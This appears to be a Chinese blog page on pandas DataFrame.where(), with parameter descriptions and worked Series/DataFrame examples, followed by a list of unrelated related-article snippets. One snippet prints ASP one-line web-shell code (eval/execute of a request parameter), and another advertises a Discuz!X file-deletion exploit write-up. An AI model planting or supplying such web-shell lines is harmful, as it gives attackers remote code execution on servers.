pandas 中的DataFrame.where()使用
pandas.DataFrame.where
DataFrame.where(cond, other=nan, inplace=False, axis=None, level=None, try_cast=False, raise_on_error=True)
inplace : boolean, default False
Whether to perform the operation in place on the data
axis : alignment axis if needed, default None
level : alignment level if needed, default None
try_cast : boolean, default False
try to cast the result back to the input type (if possible),
raise_on_error : boolean, default True
Whether to raise on invalid data types (e.g. trying to where on strings)
also see DataFrame.mask()
Notes
The where method is an application of the if-then idiom. For each element in the calling DataFrame, if cond is True the element is used; otherwise the corresponding element from the DataFrame other is used.
The signature for DataFrame.where() differs from numpy.where(). Roughly df1.where(m, df2) is equivalent to np.where(m, df1, df2).
For further details and examples see the where documentation in indexing.
Examples
>>> s = pd.Series(range(5))
>>> s.where(s > 0)
0 NaN
1 1.0
2 2.0
3 3.0
4 4.0
>>> df = pd.DataFrame(np.arange(10).reshape(-1, 2), columns=['A', 'B'])
>>> m = df % 3 == 0
>>> df.where(m, -df)
A B
0 0 -1
1 -2 3
2 -4 -5
3 6 -7
4 -8 9
>>> df.where(m, -df) == np.where(m, df, -df)
A B
0 True True
1 True True
2 True True
3 True True
4 True True
>>> df.where(m, -df) == df.mask(~m, -df)
A B
0 True True
1 True True
2 True True
3 True True
4 True True 参考文档numpy或pandas文档
arr = np.random.randn(4,4)

pandas 中的DataFrame.where()使用的更多相关文章
- python数据分析pandas中的DataFrame数据清洗
pandas中的DataFrame中的空数据处理方法: 方法一:直接删除 1.查看行或列是否有空格(以下的df为DataFrame类型,axis=0,代表列,axis=1代表行,以下的返回值都是行或列 ...
- pandas中遍历dataframe的每一个元素
假如有一个需求场景需要遍历一个csv或excel中的每一个元素,判断这个元素是否含有某个关键字 那么可以用python的pandas库来实现. 方法一: pandas的dataframe有一个很好用的 ...
- Pandas中的DataFrame按指定顺序输出所有列的方法
问题: 输出新建的DataFrame对象时,DataFrame中各列的显示顺序和DataFrame定义中的顺序不一致. 例如: import pandas as pd grades = [48,99, ...
- 【Python学习】解决pandas中打印DataFrame行列显示不全的问题
在使用pandas的DataFrame打印时,如果表太长或者太宽会自动只给前后一些行列,但有时候因为一些需要,可能想看到所有的行列. 所以只需要加一下的代码就行了. #显示所有列 pd.set_opt ...
- pandas中,dataframe 进行数据合并-pd.concat()
``# 通过数据框列向(左右)合并 a = pd.DataFrame(X_train) b = pd.DataFrame(y_train) # 合并数据框(合并前需要将数据设置成DataFrame格式 ...
- pandas中关于DataFrame 去除省略号
#显示所有列 pd.set_option('display.max_columns', None) #显示所有行 pd.set_option('display.max_rows', None) #设置 ...
- Pandas数据帧(DataFrame)
数据帧(DataFrame)是二维数据结构,即数据以行和列的表格方式排列. 数据帧(DataFrame)的功能特点: 潜在的列是不同的类型 大小可变 标记轴(行和列) 可以对行和列执行算术运算 结构体 ...
- python – 基于pandas中的列中的值从DataFrame中选择行
如何从基于pandas中某些列的值的DataFrame中选择行?在SQL中我将使用: select * from table where colume_name = some_value. 我试图看看 ...
- Python之Pandas中Series、DataFrame
Python之Pandas中Series.DataFrame实践 1. pandas的数据结构Series 1.1 Series是一种类似于一维数组的对象,它由一组数据(各种NumPy数据类型)以及一 ...
随机推荐
- get calllog fail
coolpad Coolpad 8122 Uri smsUri = CallLog.Calls.CONTENT_URI; Cursor callLogCursor = cr.query(s ...
- geoserver 地图性能和缓存
1.什么是GeoWebCache GeoWebCache是地图缓存软件公司成员开发的一个基于java的开源项目.和其他的缓存系统相似,它作为一个客户端和地图服务的代理.它可以单独部署,适用于任何基于W ...
- arcview、arcinfo、arceditor的区别
arcview = 交互式制图+地图设计和输出+基于地图的查询+直接读取数据+地理处理框架+定制应用程序框架 arceditor = arcview + geodatabase定义.管理和编辑 arc ...
- Java实现匿名内部类的简单应用
在查看数码相片时,通常会使用一款图片查看软件,该软件应该能遍历文件夹下的所有图片并进行显示.编写程序,实现一个图片查看软件,它可以支持6张图片,通过单击不同的按钮就可以查看不同的图片. 思路分析:就是 ...
- Nexus5 破解电信关键步骤
5儿子终于摔坏了,送去保养之后,发现之前已破解的电信3G竟然无效了,心碎!!!!!!!!!!!!!!!!!! 尝试恢复efs --还好有备份,备份万岁!!! 不行!继续尝试恢复!还是不行!再试!... ...
- iOS Ad hoc
There's one situation in which you need an Ad Hoc profile, and that's when you want to test Push Not ...
- MyBatis入门程序之整合Spring
1.引入相关jar包(版本对应关系3.3.1版本的mybatis和1.1.1的spring-mybatis匹配,3.4.1版本的mybatis和1.3.1的spring-mybatis匹配) 如果不对 ...
- java的对象锁和类锁
在java编程中,经常需要用到同步,而用得最多的也许是synchronized关键字了,下面看看这个关键字的用法. 因为synchronized关键字涉及到锁的概念,所以先来了解一些相关的锁知识. j ...
- Discuz!X 3.4 任意文件删除漏洞复现过程(附python脚本)
今天看下群里在讨论Discuz!X 3.4 任意文件删除漏洞,自己做了一些测试,记录一下过程.结尾附上自己编写的python脚本,自动化实现任意文件删除. 具体漏洞,请查看 https://paper ...
- 一句话木马:ASP篇
ASP一句话木马收集: <%eval request("chopper")%> <%execute request("chopper")%&g ...